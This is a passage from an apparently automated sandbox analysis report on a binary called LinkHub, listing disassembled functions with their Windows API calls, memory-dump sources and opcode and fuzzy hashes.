                                                                            • API ID: CriticalSection$CloseExchangeHandleInterlocked$DeleteEnterLeaveObjectSingleTerminateThreadWait
                                                                            • String ID:
                                                                            • API String ID: 2929296749-0
                                                                            • Opcode ID: eb315df40a69b16a7059520f2bdd09a5560c73e1b947e4fff31f9248f8804759
                                                                            • Instruction ID: 5749f90ea3f306f2a52222b283222cc99327c4ad7a72fc4d3e37789e4ba76619
                                                                            • Opcode Fuzzy Hash: eb315df40a69b16a7059520f2bdd09a5560c73e1b947e4fff31f9248f8804759
                                                                            • Instruction Fuzzy Hash: C7E01A32404B01DFCB316F65FD05A56BBE4FF14321F21D82EE19AA6921CBB0A8989B14
                                                                            Function 00DDCAB0 Relevance: 2.1, APIs: 1, Instructions: 587COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • __Init_thread_footer.LIBCMT ref: 00DDCEEE
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Init_thread_footer
                                                                            • String ID:
                                                                            • API String ID: 1385522511-0
                                                                            • Opcode ID: 83a4b94718add929677f3231f718285fc21a6e8a9f380b462adc7b2f48b79f03
                                                                            • Instruction ID: f5ac1772ed00abea2ddd298debd98beeb59614d1435705950cff4c32972f8535
                                                                            • Opcode Fuzzy Hash: 83a4b94718add929677f3231f718285fc21a6e8a9f380b462adc7b2f48b79f03
                                                                            • Instruction Fuzzy Hash: 5532E274A142169FCB20CF68C885ABEB7B5FF49314F19909AE916AB351C730EE45CB60
                                                                            Function 00E57AF9 Relevance: 1.8, APIs: 1, Instructions: 326COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: LoadString
                                                                            • String ID:
                                                                            • API String ID: 2948472770-0
                                                                            • Opcode ID: 2f5cb2a13fb4cbe6b27132add74d04a5384dd8f3c7f5083ba48d9ebe82d7a488
                                                                            • Instruction ID: 602a41842524385bf005e7c45d70df487a2ade929f6299c5dd415d995ab03283
                                                                            • Opcode Fuzzy Hash: 2f5cb2a13fb4cbe6b27132add74d04a5384dd8f3c7f5083ba48d9ebe82d7a488
                                                                            • Instruction Fuzzy Hash: 06D17A34E04209EFCB14EF98D8819EDBBB5FF48314F14445AE955AB391DB30AE95CBA0
                                                                            Function 00DFF106 Relevance: 1.7, APIs: 1, Instructions: 151COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 5ccd5d3b51788bc1359399f3ec4f4ec7b7122eef8bbff2d1bef4340f54889bb9
                                                                            • Instruction ID: 6226004769ea141dfe917636f37e336b7e89ede0f22cbf39c76b0980181d1235
                                                                            • Opcode Fuzzy Hash: 5ccd5d3b51788bc1359399f3ec4f4ec7b7122eef8bbff2d1bef4340f54889bb9
                                                                            • Instruction Fuzzy Hash: F451A575A0024CAFDB10DF68C841AB97BA1EF85364F1EC168E958DB391D771ED42CB60
                                                                            Function 00DD6679 Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD663E: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00DD668B,?,?,00DD62FA,?,00000001,?,?,00000000), ref: 00DD664A
                                                                              • Part of subcall function 00DD663E: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00DD665C
                                                                              • Part of subcall function 00DD663E: FreeLibrary.KERNEL32(00000000,?,?,00DD668B,?,?,00DD62FA,?,00000001,?,?,00000000), ref: 00DD666E
                                                                            • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00DD62FA,?,00000001,?,?,00000000), ref: 00DD66AB
                                                                              • Part of subcall function 00DD6607: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00E15657,?,?,00DD62FA,?,00000001,?,?,00000000), ref: 00DD6610
                                                                              • Part of subcall function 00DD6607: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00DD6622
                                                                              • Part of subcall function 00DD6607: FreeLibrary.KERNEL32(00000000,?,?,00E15657,?,?,00DD62FA,?,00000001,?,?,00000000), ref: 00DD6635
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Library$Load$AddressFreeProc
                                                                            • String ID:
                                                                            • API String ID: 2632591731-0
                                                                            • Opcode ID: 24e106e0890e15ca1dd4554946df34fa336be4138ffb87352d2eeab6432ff7db
                                                                            • Instruction ID: 9e86554bbba1c7583dba69da64d2809cdfcc23f8897897df3f7aef9aa64a95c4
                                                                            • Opcode Fuzzy Hash: 24e106e0890e15ca1dd4554946df34fa336be4138ffb87352d2eeab6432ff7db
                                                                            • Instruction Fuzzy Hash: 2211E772640205AACF14AF60CC02BAD7BA5DF50754F10846FF482A62C2DEB1DA05DBF0
                                                                            Function 00E08782 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: __wsopen_s
                                                                            • String ID:
                                                                            • API String ID: 3347428461-0
                                                                            • Opcode ID: d6c9aff03e0ec5fa6163e7f8f77c883b7165be9b0eed7ef49abaaf070a9557ff
                                                                            • Instruction ID: dfdef528b34b7ac682ec35f84fa7029ceb7d6ef3dc7c8cf2dc569a3831d640a1
                                                                            • Opcode Fuzzy Hash: d6c9aff03e0ec5fa6163e7f8f77c883b7165be9b0eed7ef49abaaf070a9557ff
                                                                            • Instruction Fuzzy Hash: BD115A7290420AAFCF05DF98E9419DE7BF4EF48300F1040A9F808EB351DA31EA11CB64
                                                                            Function 00E05373 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E04FF0: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00E0319C,00000001,00000364,?,00DF0165,?,?,00E411D9,0000FFFF), ref: 00E05031
                                                                            • _free.LIBCMT ref: 00E053DF
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: AllocateHeap_free
                                                                            • String ID:
                                                                            • API String ID: 614378929-0
                                                                            • Opcode ID: 5c7edad85fedc96dc17405c694b3f8ca8b3e31a6960b62d958f97a24a2444c6c
                                                                            • Instruction ID: 8a839f016e527da83a8794c3f6a97e68bc50a5fdbc737a6cb4a4870f3dc08229
                                                                            • Opcode Fuzzy Hash: 5c7edad85fedc96dc17405c694b3f8ca8b3e31a6960b62d958f97a24a2444c6c
                                                                            • Instruction Fuzzy Hash: 0701D6B32007056BE3218E69DC8695AFBEDEB85370F65051DE584A72C0EA70A9458B74
                                                                            Function 00DFE972 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 4624603760d48ad0bd9b94422b8c27d6f3f6d6689bf5384beaeb8052d0d19255
                                                                            • Instruction ID: 02f677cb732080efea25291ec793d1fb3e186d44b30a0421c79adb728535b55a
                                                                            • Opcode Fuzzy Hash: 4624603760d48ad0bd9b94422b8c27d6f3f6d6689bf5384beaeb8052d0d19255
                                                                            • Instruction Fuzzy Hash: CEF0F93250062856D6313B2A9C05B7A33D9CF42334F168716F7A5A31E1DFB0D8418AF2
                                                                            Function 00DDB329 Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen
                                                                            • String ID:
                                                                            • API String ID: 176396367-0
                                                                            • Opcode ID: 92a6b9fc4d488c06443c030f8f88c35764cf037f1adb821f9c99eba6a8e571cc
                                                                            • Instruction ID: 2e23c0901be727f3c0635ee6213b4dfc8ff027e98dbc9460926aef4dc0b97d25
                                                                            • Opcode Fuzzy Hash: 92a6b9fc4d488c06443c030f8f88c35764cf037f1adb821f9c99eba6a8e571cc
                                                                            • Instruction Fuzzy Hash: A6F0A4B2601704AED7149F29D806B66BB98EB44360F51C12AFB19CB2D1DB31E5108AB0
                                                                            Function 00E4F94A Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 00E4F987
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: EnvironmentVariable
                                                                            • String ID:
                                                                            • API String ID: 1431749950-0
                                                                            • Opcode ID: cd64591936d7638a9aee1c6c9ea87e6c14c23ce7a1a9c9687521ffcbc6825744
                                                                            • Instruction ID: 3baef6604416fcc55f6873b6f77858cfd0fce351f614ef1b668ee366551abb35
                                                                            • Opcode Fuzzy Hash: cd64591936d7638a9aee1c6c9ea87e6c14c23ce7a1a9c9687521ffcbc6825744
                                                                            • Instruction Fuzzy Hash: F6F01D72600208BFCB15EBA5DC46D9E7BB8EF55710F014055F605AB261DA70A941CB71
                                                                            Function 00E04FF0 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00E0319C,00000001,00000364,?,00DF0165,?,?,00E411D9,0000FFFF), ref: 00E05031
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: AllocateHeap
                                                                            • String ID:
                                                                            • API String ID: 1279760036-0
                                                                            • Opcode ID: 4a63f936851fd88415fb9e798692cd84566aec677d04aeb8da0d570f632dede3
                                                                            • Instruction ID: c5f06a8c5a8684f70feba17415fb8b79db23ed8cecb18d255c81a066ee5ee731
                                                                            • Opcode Fuzzy Hash: 4a63f936851fd88415fb9e798692cd84566aec677d04aeb8da0d570f632dede3
                                                                            • Instruction Fuzzy Hash: 5AF0BE33655E24AADB312A66AC01B6F3748EF427E0F16A021B904BB0D0DA70D8858EF0
                                                                            Function 00E03B93 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • RtlAllocateHeap.NTDLL(00000000,?,?,?,00DF0165,?,?,00E411D9,0000FFFF), ref: 00E03BC5
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: AllocateHeap
                                                                            • String ID:
                                                                            • API String ID: 1279760036-0
                                                                            • Opcode ID: 00b7a13d76403fce6ab9d822cacb427e135d0285e669cdbef3414645e2e68d99
                                                                            • Instruction ID: f9f22a50a0c0147fb88bbfda3b65a1353d4d4b8ce73c47625c1301391d83836d
                                                                            • Opcode Fuzzy Hash: 00b7a13d76403fce6ab9d822cacb427e135d0285e669cdbef3414645e2e68d99
                                                                            • Instruction Fuzzy Hash: 70E0E52120062466DA20267BAC01BAB3A4CDF023ADF161120ED45B64D0EFB0CE8089B0
                                                                            Function 00DD66E7 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 8b5f205cfb4ca2fcff8797fe16428d6bb893c9aad06d26bfb69b39bf61906cc8
                                                                            • Instruction ID: 58f2a1134611984360decab74014c3a5403d07b410794ab3bcb53487a0313262
                                                                            • Opcode Fuzzy Hash: 8b5f205cfb4ca2fcff8797fe16428d6bb893c9aad06d26bfb69b39bf61906cc8
                                                                            • Instruction Fuzzy Hash: CAF03971545702DFCB349F64D8A0866BBF4BF14329324897EE2D796A20C771D884DFA0
                                                                            Function 00DD684A Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: __fread_nolock
                                                                            • String ID:
                                                                            • API String ID: 2638373210-0
                                                                            • Opcode ID: dbc72fcbbe417d099125a5b7f0b477dbc50683e17be9c436dba593077d17b43b
                                                                            • Instruction ID: 033c8784f1e8e1e9f9a7ab64e6b51160ef9d3d752fb2fe5a8519e9996699c7c9
                                                                            • Opcode Fuzzy Hash: dbc72fcbbe417d099125a5b7f0b477dbc50683e17be9c436dba593077d17b43b
                                                                            • Instruction Fuzzy Hash: 20F0F87650020DFFDF05DF90C941EAE7B79FB04318F208445F9159A251C336EA61ABA1
                                                                            Function 00DD3907 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • Shell_NotifyIconW.SHELL32(00000002,?), ref: 00DD3963
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: IconNotifyShell_
                                                                            • String ID:
                                                                            • API String ID: 1144537725-0
                                                                            • Opcode ID: 36a5889bff4beb4ba5084858c003a8e32259ba5f364154e2a9a9899401f3001f
                                                                            • Instruction ID: 073a9bc0b212eaba0020a8c8ee8daa430ab93c60d59cddf8ed3ea474258de4bf
                                                                            • Opcode Fuzzy Hash: 36a5889bff4beb4ba5084858c003a8e32259ba5f364154e2a9a9899401f3001f
                                                                            • Instruction Fuzzy Hash: BBF037719143199FEB529F29DC457967BBCA706708F0400E9E748B6281DBB45B8CCF51
                                                                            Function 00DD3A57 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00DD3A76
                                                                              • Part of subcall function 00DD8577: _wcslen.LIBCMT ref: 00DD858A
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: LongNamePath_wcslen
                                                                            • String ID:
                                                                            • API String ID: 541455249-0
                                                                            • Opcode ID: 2dc2a886adf689e67b81a5e669ce167ea5825e80bf3da90dbbcf1fcc1e186a0a
                                                                            • Instruction ID: 78362a0758fda9c53038c16c5da082497f30f95dc117b7387495bfac612a5cde
                                                                            • Opcode Fuzzy Hash: 2dc2a886adf689e67b81a5e669ce167ea5825e80bf3da90dbbcf1fcc1e186a0a
                                                                            • Instruction Fuzzy Hash: 98E08672A041285BC7119258AC05FDA77DDDB88790F044075FD05E7254D9A49D8095A0
                                                                            Function 00E3E83E Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00E3E857
                                                                              • Part of subcall function 00DD8577: _wcslen.LIBCMT ref: 00DD858A
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: FolderPath_wcslen
                                                                            • String ID:
                                                                            • API String ID: 2987691875-0
                                                                            • Opcode ID: 4bd1dff8a411082a605fc0d4c961f260ce32d695a54e11636d53fde243cf872f
                                                                            • Instruction ID: 538c8476cab7184db259a9a3e9dcb09c6f1abaf79d58060f0325dbabaaa4f800
                                                                            • Opcode Fuzzy Hash: 4bd1dff8a411082a605fc0d4c961f260ce32d695a54e11636d53fde243cf872f
                                                                            • Instruction Fuzzy Hash: 32D05EA1E002282FDF60A675AC0DDBB3AACC744250F0006A1786DD3152ED70EE4486B0
                                                                            Function 00E412EB Relevance: 1.5, APIs: 1, Instructions: 20threadCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateThread.KERNELBASE(00000000,00000000,Function_000712D1,00000000,00000000,?), ref: 00E41306
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CreateThread
                                                                            • String ID:
                                                                            • API String ID: 2422867632-0
                                                                            • Opcode ID: 2a7e7abef1c0147418b6c7f350fd7d66829ae3f4897d5fa5f92da442710e584c
